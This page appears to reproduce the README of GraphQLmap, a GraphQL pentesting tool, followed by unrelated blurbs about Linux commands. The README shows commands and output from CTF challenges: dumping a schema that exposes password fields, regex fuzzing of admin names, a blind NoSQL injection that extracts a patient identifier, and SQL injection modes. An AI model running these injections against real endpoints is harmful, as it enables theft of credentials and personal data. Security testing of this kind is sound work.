GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
Install
$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python graphqlmap.py
_
/ | | | / _ | | | | _ _ _ _ _ _ | |_ | | | | | _ _ _ _ _ _ | | | | ‘/ | '_ | '_ | | | | | | '_ \ / ` | ‘ \ | || | | | (| | |) | | | | || | || | | | | | (| | |) | _|| _,| ./|| ||_________|| || ||_,| ._/
| | | |
|| ||
Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [–method [METHOD]] [–headers [HEADERS]]
optional arguments:
-h, –help show this help message and exit
-u URL URL to query : example.com/graphql?query={}
-v [VERBOSITY] Enable verbosity
–method [METHOD] HTTP Method to use interact with /graphql endpoint
–headers [HEADERS] HTTP Headers sent to /graphql endpoint
–json Send requests using POST and JSON
Features And Examples
Examples are based on several CTF challenges from HIP2019.
Connect to a graphql endpoint
python3 graphqlmap.py -u https://yourhostname.com/graphql -v –method POST –headers ‘{“Authorization” : “Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o”}’
Dump a GraphQL schema
Use dump_new to dump the GraphQL schema, this function will automaticly populate the “autocomplete” with the found fields.
GraphQLmap > dump_new
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)
Query
doctor[]: email (String!),
doctors[Doctor]:
patients[Patient]:
patient[]: id (ID!),
allrendezvous[Rendezvous]:
rendezvous[]: id (ID!),
Doctor
id[ID]:
firstName[String]:
lastName[String]:
specialty[String]:
patients[None]:
rendezvous[None]:
email[String]:
password[String]:
[…]
Interact With A GraphQL Endpoint
Write a GraphQL request and execute it.
GraphQLmap > {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admin\”} }”){firstName lastName id}}
{
“data”: {
“doctors”: [
{
“firstName”: “Admin”,
“id”: “5d089c51dcab2d0032fdd08d”,
“lastName”: “Admin”
}
]
}
}
GraphQL Field Fuzzing
Use GRAPHQL_INCREMENT and GRAPHQL_CHARSET to fuzz a parameter.
GraphQLmap > {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”AdmiGRAPHQL_CHARSET\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi!\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi$\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi%\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi(\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi)\”} }”){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi*\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi+\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi,\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi-\”} }”){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi.\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi/\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi0\”} }”){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi1\”} }”){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admi?\”} }”){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: “{ \”lastName\”: { \”$regex\”: \”Admin\”} }”){firstName lastName id}}
NoSQLi Injection
Use BLIND_PLACEHOLDER inside the query for the nosqli function.
GraphQLmap > nosqli
Query > {doctors(options: “{\”\”patients.ssn\”:1}”, search: “{ \”patients.ssn\”: { \”$regex\”: \”^BLIND_PLACEHOLDER\”}, \”lastName\”:\”Admin\” , \”firstName\”:\”Admin\” }”){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >
SQL Injection
GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli
The groupdel command in Linux removes a group from the system. It deletes the group's entry from /etc/group and /etc/gshadow,…
The wc command in Linux counts lines, words, characters, and bytes in files or standard input. It…
The top command in Linux provides a real-time view of running processes and system resource usage. From…
The usermod command in Linux modifies existing user account attributes. You can use it to manage group…
The sort command in Linux reads lines from files or standard input and writes them to standard…
The wall command in Linux sends a message to the terminals of all currently logged-in users. The…